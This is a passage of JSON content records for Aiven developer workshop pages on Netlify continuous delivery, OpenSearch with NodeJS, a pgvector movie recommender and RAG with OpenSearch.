center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"infoBanner":{"_ref":"d351f08a-0f1d-4d30-adf2-6c4d420732f0","_type":"reference"},"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","variant":"vertical"},{"_key":"0a9a29daeda8","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"headerPosition":"default","items":[{"_key":"e6b58db1773a","_ref":"670e91f4-eed4-4549-beed-1f049c3efe08","_type":"devArticle"},{"_key":"7d0206e09328","_ref":"cedb6945-6c85-44e7-bdef-96f1acebcf76","_type":"devArticle"},{"_key":"c9888aa0fd0c","_ref":"73af0182-b983-4449-bc09-f160188e2f39","_type":"devArticle"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"Related resources"}],"contentIsGated":false,"downloadLink":"https://aiven.io/developer-workshops","downloadText":"See all workshops","hasVideo":true,"image":{"_type":"mainImage","alt":"Configure your app and data for Continuous Delivery with Netlify","asset":{"_ref":"image-c29ffb10ec4fa18b9e30ab19435e2ecbc69b49c1-1200x628-png","_type":"reference"}},"registerForm":{"iframeHeight":800},"subtitle":[{"_key":"135462b63954","_type":"block","children":[{"_key":"6b9bb2c5f5a00","_type":"span","marks":[],"text":"Learn how to to set up and configure an example data application for continuous delivery."}],"markDefs":[],"style":"normal"},{"_key":"8ec95cbc0ef4","_type":"block","children":[{"_key":"79262eb9d0500","_type":"span","marks":[],"text":"The application uses PostgreSQL® and Redis®*, and you will use Netlify to automate the deployment process."}],"markDefs":[],"style":"normal"}],"summary":"Learn how to to set up and configure an example data application (it uses PostgreSQL® and Redis®*) for continuous delivery with Netlify.\n","title":"Configure your app and data for Continuous Delivery with Netlify","ytId":"nRHohM7Avc0"},"publishedAt":"2024-01-10T08:00:00.000Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"d744ba0c-d4f2-4e41-9a7d-94be2b77a3ff","_type":"reference"},"tags":[{"_key":"3f33a7276c27","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"3ef497757e6a","_ref":"170e8cc3-b016-45ee-a9db-efec32d13a04","_type":"tag"},{"_key":"b6f442757e0e","_ref":"d95083d7-de5c-4ef4-a726-cd98672ba4b1","_type":"tag"},{"_key":"00a315b5a38e","_ref":"7333c82f-1b90-44a0-b6dc-8a4cd4fa5387","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Learn how to to set up and configure an example data application (it uses PostgreSQL and Redis) for Continuous Delivery with Netlify.\n","metaImage":{"_type":"mainImage","alt":"Configure your app for Continuous Delivery with Netlify","asset":{"_ref":"image-5cd34229a3c3584a87b3e8561d9128e3a14bec20-1200x628-png","_type":"reference"}},"metaTitle":"Workshop | Configure your app for CD using Netlify"},"slug":{"_type":"slug","current":"/workshop/configure-your-app-for-cd-using-netlify"}} {"__i18n_lang":"en","_createdAt":"2023-10-23T07:50:36Z","_id":"50ce171a-f333-426a-9419-4cdbe9a83478","_rev":"c9fLLKkrX7BAlSxzjbfcqH","_type":"workshop","_updatedAt":"2024-07-31T14:07:37Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"c5b3dc8e3f36","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","columnOne":[{"_key":"35a0cfcdd6d2","_type":"block","children":[{"_key":"107849cc081d","_type":"span","marks":[],"text":"What's in the Workshop Recipe?"}],"markDefs":[],"style":"h3"},{"_key":"cb8372e2b695","_type":"block","children":[{"_key":"5aa77ba099870","_type":"span","marks":[],"text":"In this session you'll learn how to interact with the OpenSearch cluster with the help of OpenSearch NodeJS client - create an index, add documents, search and aggregate data."}],"markDefs":[],"style":"normal"},{"_key":"888d65e3865c","_type":"block","children":[{"_key":"ab5ca79254ce","_type":"span","marks":[],"text":"At the end we’ll visualise results with OpenSearch Dashboards and sink the data from Apache Kafka."}],"markDefs":[],"style":"normal"},{"_key":"f5109ddc1b15","_type":"block","children":[{"_key":"01e7994597a8","_type":"span","marks":["strong"],"text":"NodeJS engineers "},{"_key":"12e1ace297e9","_type":"span","marks":[],"text":"who are ready to add search and aggregation features to their applications should attend this session; no previous knowledge of OpenSearch is required.\n\n"},{"_key":"e4cdcf29f18d","_type":"span","marks":["strong"],"text":"Related resource in our developer center:"},{"_key":"1af47dcdcc87","_type":"span","marks":[],"text":" "},{"_key":"4da4eb6ecf1d","_type":"span","marks":["a4d759fc6969"],"text":"Start using OpenSearch with NodeJS"},{"_key":"d62710435d00","_type":"span","marks":[],"text":"\n"}],"markDefs":[{"_key":"a4d759fc6969","_type":"link","href":"https://aiven.io/developer/start-using-opensearch-with-nodejs"},{"_key":"6e0fc110a454","_type":"internalLink","href":"https://aiven.io/developer/start-using-opensearch-with-nodejs"}],"style":"normal"}],"columnTwo":[{"_key":"3437b02f6775","_type":"block","children":[{"_key":"126adfc1e93b","_type":"span","marks":[],"text":"Prepare for a Brain Upgrade "}],"markDefs":[],"style":"h3"},{"_key":"bbf40817f8d2","_type":"block","children":[{"_key":"ef705f4b2168","_type":"span","marks":[],"text":"You will learn:"}],"markDefs":[],"style":"normal"},{"_key":"1b3a22ab4a5c","_type":"block","children":[{"_key":"f5548de38bf30","_type":"span","marks":[],"text":"Overview on OpenSearch architecture"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4d0ac828a7fa","_type":"block","children":[{"_key":"fec8e0d0a21d","_type":"span","marks":[],"text":"Set up the cluster and prepare NodeJS project"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6b86eb7b8886","_type":"block","children":[{"_key":"f569c3771c74","_type":"span","marks":[],"text":"Load sample data (we'll use a dataset with 20k recipes)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7cc954417dcd","_type":"block","children":[{"_key":"7e16c7bad3f0","_type":"span","marks":[],"text":"Explore different types of search queries: term-level, full-text and boolean"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5d318ba2e7a2","_type":"block","children":[{"_key":"fd97b4bd5a26","_type":"span","marks":[],"text":"Explore different types of aggregations: metric, bucket, pipeline\nVisualisations with the help of OpenSearch Dashboards"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9ec03a01fe4d","_type":"block","children":[{"_key":"797bdc67cb2c","_type":"span","marks":[],"text":"Prerequisities"}],"markDefs":[],"style":"h3"},{"_key":"56d4c62a7094","_type":"block","children":[{"_key":"72fc32a15de4","_type":"span","marks":[],"text":"Web browser"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6ca73afd864c","_type":"block","children":[{"_key":"4d261442b076","_type":"span","marks":["eb2f8d47bd69"],"text":"Node"},{"_key":"db58d22be1a1","_type":"span","marks":[],"text":", "},{"_key":"627c92c68289","_type":"span","marks":["395ba4cf1acb"],"text":"npm"},{"_key":"61cc0a7dbb7d","_type":"span","marks":[],"text":" and "},{"_key":"2b8c6c481647","_type":"span","marks":["dd43b5624382"],"text":"git"},{"_key":"90215c884532","_type":"span","marks":[],"text":" (we’ll install the rest together!)"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"eb2f8d47bd69","_type":"link","href":"https://nodejs.org/en/learn/getting-started/how-to-install-nodejs"},{"_key":"395ba4cf1acb","_type":"link","href":"https://docs.npmjs.com/downloading-and-installing-node-js-and-npm"},{"_key":"dd43b5624382","_type":"link","href":"https://git-scm.com/book/en/v2/Getting-Started-Installing-Git"}],"style":"normal"},{"_key":"c2472c14f17b","_type":"block","children":[{"_key":"9cd5d06f5f48","_type":"span","marks":[],"text":"Curiosity 😉"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9d8bc521a463","_type":"block","children":[{"_key":"0044c08770720","_type":"span","marks":["strong"],"text":"During the workshop you’ll create an Aiven account using the free trial.\n"}],"markDefs":[],"style":"normal"},{"_key":"94658beacd22","_type":"block","children":[{"_key":"be2fc0cb0c150","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"darkTheme":true,"disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-br","variant":"twoColumn"},{"_key":"125da7f4ebcd","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"47623ff0ceba","_ref":"8e573fc1-3cd0-4232-aea9-4e0adbc1754a","_type":"reference"},{"_key":"dd9cf131c891","_ref":"174cfdd2-a352-4b86-9105-fcb4c94075e4","_type":"reference"}],"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","showProfilePage":true,"title":"Workshop host","variant":"withBio"},{"_key":"2f7f843133fc","_type":"infoBannerSection","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"infoBanner":{"_ref":"d351f08a-0f1d-4d30-adf2-6c4d420732f0","_type":"reference"},"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none","variant":"vertical"},{"_key":"0a9a29daeda8","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"headerPosition":"default","items":[{"_key":"c9888aa0fd0c","_ref":"73af0182-b983-4449-bc09-f160188e2f39","_type":"devArticle"},{"_key":"9c09f5425748","_ref":"f29128d2-91e5-45f0-8e91-159edef4b7a0","_type":"devArticle"},{"_key":"1ca0b5d657fa","_ref":"15a7ecb8-dc66-4915-b872-181acb760d35","_type":"devArticle"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"Related resources"}],"contentIsGated":false,"downloadLink":"https://aiven.io/developer-workshops","downloadText":"See all workshops","hasVideo":true,"image":{"_type":"mainImage","asset":{"_ref":"image-1b3d9113c99a33b3a028c727061a8e6f1c956972-1200x628-png","_type":"reference"}},"registerForm":{"iframeHeight":800},"subtitle":[{"_key":"86b9b6307c16","_type":"block","children":[{"_key":"63c006a7ee43","_type":"span","marks":[],"text":"Learn how OpenSearch works and get equipped with practical knowledge to search, aggregate and visualise your data."}],"markDefs":[],"style":"normal"},{"_key":"2b8afef811db","_type":"block","children":[{"_key":"3cea82d8e67a","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"summary":"Learn how OpenSearch works and get equipped with practical knowledge to search, aggregate and visualise your data.","title":"Search and aggregations made easy with OpenSearch and NodeJS","ytId":"N9CWm9braps"},"publishedAt":"2024-01-31T17:00:00.000Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"d744ba0c-d4f2-4e41-9a7d-94be2b77a3ff","_type":"reference"},"tags":[{"_key":"35050c6dfee8","_ref":"17773fab-43cf-4f70-873a-8da1274cde0f","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Learn how OpenSearch works and get equipped with practical knowledge to search, aggregate and visualise your data.","metaImage":{"_type":"mainImage","alt":"Search and aggregations made easy with OpenSearch and NodeJS","asset":{"_ref":"image-afb0db991aeea2142acb5bbfa00e4dbd9be71702-6000x3375-png","_type":"reference"}},"metaTitle":"Workshop | OpenSearch with Javascript"},"slug":{"_type":"slug","current":"/workshop/opensearch-with-javascript"}} {"__i18n_lang":"en","_createdAt":"2024-01-24T07:48:03Z","_id":"432056be-ad24-4120-8f16-49e3d764571a","_rev":"w5Y1buu43ZclY4xZaFG8fw","_type":"workshop","_updatedAt":"2025-01-13T11:48:51Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"c5b3dc8e3f36","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","columnOne":[{"_key":"35a0cfcdd6d2","_type":"block","children":[{"_key":"107849cc081d","_type":"span","marks":[],"text":"What's in the Workshop Recipe?"}],"markDefs":[],"style":"h3"},{"_key":"f5109ddc1b15","_type":"block","children":[{"_key":"633706be584c","_type":"span","marks":[],"text":"We'll work together to build a movie recommendation system from start to finish, utilizing NodeJS, TensorFlow, and PostgreSQL’s extension pgvector. We'll guide you through the process of creating the vector embeddings using TensorFlow right on your laptop. Additionally, we'll leverage pg-promise to efficiently handle bulk row inserts, and we'll explore the usage of Next.js for a full-stack project. By the end of the workshop, you'll have a fully functional project that generates movie recommendations.\n\nThis workshop is particularly useful for those who are intrigued by contextual search and usage of AI, but might find themselves overwhelmed by the complexities of getting started.\n\n"},{"_key":"e4cdcf29f18d","_type":"span","marks":["strong"],"text":"Related resource in our developer center:"},{"_key":"1af47dcdcc87","_type":"span","marks":[],"text":" "},{"_key":"63c1231bfb61","_type":"span","marks":["5641acb14c67"],"text":"TensorFlow, PostgreSQL®, pgvector \u0026 Next.js: building a movie recommender"},{"_key":"95394ef9a3a7","_type":"span","marks":[],"text":"\n"}],"markDefs":[{"_key":"5641acb14c67","_type":"internalLink","internalLink":{"_ref":"28a828cd-0a1a-477e-8c4b-91acfc1882bc","_type":"reference"}}],"style":"normal"}],"columnTwo":[{"_key":"3437b02f6775","_type":"block","children":[{"_key":"126adfc1e93b","_type":"span","marks":[],"text":"Prepare for a Brain Upgrade "}],"markDefs":[],"style":"h3"},{"_key":"bbf40817f8d2","_type":"block","children":[{"_key":"ef705f4b2168","_type":"span","marks":[],"text":"You will learn:"}],"markDefs":[],"style":"normal"},{"_key":"055d07c44acf","_type":"block","children":[{"_key":"1969fae5efdc0","_type":"span","marks":[],"text":"How to turn a movie plot into an embedding using TensorFlow"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6abcc0d85f1e","_type":"block","children":[{"_key":"000f10528e95","_type":"span","marks":[],"text":"How to setup pgvector in PostgreSQL"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"cce09cced04d","_type":"block","children":[{"_key":"4240be90dd66","_type":"span","marks":[],"text":"How to import movie data into PostgreSQL, with embeddings for the plot descriptions"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"446ec81373ec","_type":"block","children":[{"_key":"2fc9ea9435fd","_type":"span","marks":[],"text":"How to search for closest matching plots to a query"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"fd127bbd9afa","_type":"block","children":[{"_key":"3de0ada1b3e2","_type":"span","marks":[],"text":"How to create a web app with Next.js"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"24f1b4f55cc9","_type":"block","children":[{"_key":"15e8808e4988","_type":"span","marks":[],"text":"And finally, how to make it look nice as well!\n"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9ec03a01fe4d","_type":"block","children":[{"_key":"797bdc67cb2c","_type":"span","marks":[],"text":"Prerequisities"}],"markDefs":[],"style":"h3"},{"_key":"56d4c62a7094","_type":"block","children":[{"_key":"72fc32a15de4","_type":"span","marks":[],"text":"Web browser"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6c09bac19301","_type":"block","children":[{"_key":"db269680f514","_type":"span","marks":[],"text":"A GitHub account. Here’s the "},{"_key":"98c3135b2763","_type":"span","marks":["19667e8bf5e1"],"text":"GitHub repository"},{"_key":"0afd40d15370","_type":"span","marks":[],"text":" we’ll be using"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"19667e8bf5e1","_type":"link","href":"https://github.com/Aiven-Labs/pgvector-tensorflow-movie-recommendations-workshop"}],"style":"normal"},{"_key":"5a9b20a454e6","_type":"block","children":[{"_key":"9abe6e51afaf","_type":"span","marks":[],"text":"You’ll also need"}],"markDefs":[],"style":"normal"},{"_key":"eee2a66917f7","_type":"block","children":[{"_key":"23a30bcacb03","_type":"span","marks":[],"text":"An Aiven account, using our free trial"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"630ef57cb52c","_type":"block","children":[{"_key":"330011c02c0c","_type":"span","marks":[],"text":"We will lead you through setting that up in the workshop, if you don’t already have one.\n"}],"markDefs":[],"style":"normal"}],"darkTheme":true,"disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-br","variant":"twoColumn"},{"_key":"125da7f4ebcd","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"95bd20540450","_ref":"174cfdd2-a352-4b86-9105-fcb4c94075e4","_type":"reference"},{"_key":"15c36a10d7ef","_ref":"0751a33e-612e-404f-9e77-0b5da9ec746a","_type":"reference"}],"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","showProfilePage":true,"title":"Workshop host","variant":"withBio"},{"_key":"2f7f843133fc","_type":"infoBannerSection","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"infoBanner":{"_ref":"d351f08a-0f1d-4d30-adf2-6c4d420732f0","_type":"reference"},"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none","variant":"vertical"},{"_key":"0a9a29daeda8","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"headerPosition":"default","items":[{"_key":"c9888aa0fd0c","_ref":"7c922c7d-e791-4c33-a86a-0aa413cf7449","_type":"devArticle"},{"_key":"9c09f5425748","_ref":"25ac0060-4896-40d9-9c76-65ab0d7c8ccc","_type":"devArticle"},{"_key":"1dd86be5780f","_ref":"28a828cd-0a1a-477e-8c4b-91acfc1882bc","_type":"devArticle"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"Related resources"}],"contentIsGated":true,"demioEvent":{"demioEventId":"Kmgl2h1hd82HSAdR","demioSubmitText":"Register","title":"Secure your spot"},"hasVideo":false,"image":{"_type":"mainImage","alt":"Build a movie recommendation app with Tensorflow and pgvector"},"registerForm":{"iframeHeight":371,"iframeSource":"https://go.aiven.io/l/890043/2024-01-24/thz6g","title":"Pick the best date and secure your seat"},"registrationType":"demio","subtitle":[{"_key":"ade8c3f4a031","_type":"block","children":[{"_key":"19a9fa36b4360","_type":"span","marks":[],"text":"Learn how to create a movie recommendation web app, using PostgreSQL® and pgvector. This workshop is 2 hours long with a short break in the middle."}],"markDefs":[],"style":"normal"},{"_key":"cfaf233465db","_type":"block","children":[{"_key":"5b1b879ee964","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"72bdaf2ce49a","_type":"block","children":[{"_key":"153cc6b73ca90","_type":"span","marks":["strong"],"text":"Wednesday January 22, 2025 at 9am PST | 12noon EST | 6pm CET"}],"markDefs":[],"style":"normal"}],"summary":"Learn how to create a movie recommendation web app, using PostgreSQL® and pgvector. \n\n","thankyouContent":[{"_key":"f5a32de4b598","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-e8cf258fdbbff5803b0e7ff6577dc92c3282b241-1200x628-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"8013e57ba341","_type":"block","children":[{"_key":"79d0ded2fc47","_type":"span","marks":[],"text":"You will receive an email confirmation for your registration for the "},{"_key":"43b57d646a0e","_type":"span","marks":["strong"],"text":"Workshop: Build a movie recommendation app with Tensorflow and pgvector"},{"_key":"245d6366762c","_type":"span","marks":[],"text":"."}],"markDefs":[],"style":"normal"},{"_key":"4fbb43ba2d94","_type":"block","children":[{"_key":"e9f2bb5051b1","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"c8fdb76bf7f3","_type":"block","children":[{"_key":"40694e4b878a","_type":"span","marks":["strong"],"text":"Read next:"}],"markDefs":[],"style":"normal"},{"_key":"2498c2298399","_type":"block","children":[{"_key":"d10437602b8a","_type":"span","marks":["3f6ce660bcd7"],"text":"Retrieval augmented generation with OpenAI and OpenSearch®"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"3f6ce660bcd7","_type":"internalLink","internalLink":{"_ref":"a34b0b22-60ab-471c-b0a2-9704d9139e02","_type":"reference"}}],"style":"normal"},{"_key":"314a01d398a5","_type":"block","children":[{"_key":"99fc2e72e0e4","_type":"span","marks":["8b81c9f064e5"],"text":"Speed up PostgreSQL® pgvector queries with indexes"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"8b81c9f064e5","_type":"internalLink","internalLink":{"_ref":"168fd4e3-223d-4475-bedb-b07ae2bdbb69","_type":"reference"}}],"style":"normal"},{"_key":"e2bde1513405","_type":"block","children":[{"_key":"2e89594fe94d","_type":"span","marks":["02ca17d877ce"],"text":"Image recognition with Python, OpenCV, OpenAI CLIP and pgvector"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"02ca17d877ce","_type":"internalLink","internalLink":{"_ref":"7c922c7d-e791-4c33-a86a-0aa413cf7449","_type":"reference"}}],"style":"normal"}],"title":"Thank you for your interest","variant":"mediaLeft"}],"title":"Build a movie recommendation app with Tensorflow and pgvector","videoHosting":"youtube","ytId":"RvR9QyDHda8"},"publishedAt":"2025-01-22T17:00:00.000Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"d744ba0c-d4f2-4e41-9a7d-94be2b77a3ff","_type":"reference"},"tags":[{"_key":"ea224fc5a21e","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"c92c7b35e7cc","_ref":"a41c8115-d5d8-4ee1-a5e0-6d17fdb928ae","_type":"tag"},{"_key":"744b0c80612a","_ref":"de070e21-d443-4ca4-bb45-c3c1058d4d21","_type":"tag"},{"_key":"a12eac358e8f","_ref":"525f6516-2adf-4f0d-aab6-35835bd07e46","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Build a movie recommendation app with TensorFlow and pgvector.","metaImage":{"_type":"mainImage","alt":"Build a movie recommendation app with TensorFlow and pgvector","asset":{"_ref":"image-e8cf258fdbbff5803b0e7ff6577dc92c3282b241-1200x628-png","_type":"reference"}},"metaTitle":"Workshop | Movie recommender, using PostgreSQL® and pgvector"},"slug":{"_type":"slug","current":"/workshop/movie-recommender-with-tensorflow-pgvector"}} {"__i18n_lang":"en","_createdAt":"2024-04-17T05:38:43Z","_id":"69d06cac-e840-49f9-a254-7c406c63f1de","_rev":"ghiSWI41J0wIzR0K4EhTJL","_type":"workshop","_updatedAt":"2024-07-31T14:09:46Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"c5b3dc8e3f36","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","columnOne":[{"_key":"35a0cfcdd6d2","_type":"block","children":[{"_key":"107849cc081d","_type":"span","marks":[],"text":"What's in the Workshop Recipe?"}],"markDefs":[],"style":"h3"},{"_key":"b478dcb36da1","_type":"block","children":[{"_key":"732833c5beeb0","_type":"span","marks":[],"text":"\n"},{"_key":"4cb075c25e84","_type":"span","marks":[],"text":"We’ll work together to generate embeddings for podcast transcriptions and load that data into OpenSearch. Then we’ll search the documents using similarity search and use those results to improve our responses from an LLM (Large Language Model). Along the way we’ll explain the Retrieval Augmented Generation (RAG) pattern and show how it’s possible to try different LLMs without having to completely rewrite your code."}],"markDefs":[],"style":"normal"},{"_key":"7a432d4b0bef","_type":"block","children":[{"_key":"1e681cb745c40","_type":"span","marks":[],"text":"This workshop is particularly useful for determining what would be required to make your data usable with the RAG pattern.\n"}],"markDefs":[],"style":"normal"}],"columnTwo":[{"_key":"3437b02f6775","_type":"block","children":[{"_key":"126adfc1e93b","_type":"span","marks":[],"text":"Prepare for a Brain Upgrade "}],"markDefs":[],"style":"h3"},{"_key":"a67ba3908f5f","_type":"block","children":[{"_key":"ba97ff32f1300","_type":"span","marks":[],"text":"You will learn how to:"}],"markDefs":[],"style":"normal"},{"_key":"918d864bdc9a","_type":"block","children":[{"_key":"ef511767c3bd0","_type":"span","marks":[],"text":"Find and generate embeddings for existing content"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5f09d952b29f","_type":"block","children":[{"_key":"d871e461011c0","_type":"span","marks":[],"text":"Ingest that content and its embeddings into OpenSearch"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1fd2858a6534","_type":"block","children":[{"_key":"fff6cf949caa0","_type":"span","marks":[],"text":"Use OpenSearch and LangChain to implement the RAG (Retrieval Augmented Generation) pattern with an LLM (Large Language Model)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"31dc5c031ab1","_type":"block","children":[{"_key":"797bdc67cb2c","_type":"span","marks":[],"text":"Prerequisities"}],"markDefs":[],"style":"h3"},{"_key":"47055378cc48","_type":"block","children":[{"_key":"b3b654f73f030","_type":"span","marks":[],"text":"A web browser."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"188ce490d988","_type":"block","children":[{"_key":"e62e6479d584","_type":"span","marks":[],"text":"An Aiven account, using our free trial. We will lead you through setting that up in the workshop, if you don’t already have one."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"134ceca5223b","_type":"link","href":"https://github.com/Aiven-Labs/Opensearch-Langchain-OpenAI-RAG-Pattern-Python"}],"style":"normal"},{"_key":"c3137eb40f36","_type":"block","children":[{"_key":"ca7f94eb8b36","_type":"span","marks":[],"text":"A GitHub account. Here’s the "},{"_key":"aa9908e9b241","_type":"span","marks":["0f7355207a7f"],"text":"GitHub repository"},{"_key":"e4bab6a5eb4e","_type":"span","marks":[],"text":" we’ll be using.\n"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"0f7355207a7f","_type":"link","href":"https://github.com/Aiven-Labs/preparing-data-for-opensearch-and-rag"}],"style":"normal"}],"darkTheme":true,"disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-br","variant":"twoColumn"},{"_key":"125da7f4ebcd","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"16f985d9696f","_ref":"4ab857b2-5a96-4d94-b58b-bbe9cd0d8bc0","_type":"reference"}],"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","showProfilePage":true,"title":"Workshop host","variant":"withBio"},{"_key":"83865b1bab8a","_type":"infoBannerSection","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"right center","backgroundPositionMobile":"center center","backgroundSize":"contain","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"infoBanner":{"_ref":"d351f08a-0f1d-4d30-adf2-6c4d420732f0","_type":"reference"},"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-t","variant":"vertical"},{"_key":"0a9a29daeda8","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"headerPosition":"default","items":[{"_key":"4b4489a6c72f","_ref":"a34b0b22-60ab-471c-b0a2-9704d9139e02","_type":"devArticle"},{"_key":"f716901a0882","_ref":"28a828cd-0a1a-477e-8c4b-91acfc1882bc","_type":"devArticle"},{"_key":"5b786539676f","_ref":"25ac0060-4896-40d9-9c76-65ab0d7c8ccc","_type":"devArticle"}],"itemsPerRow":4,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"Related 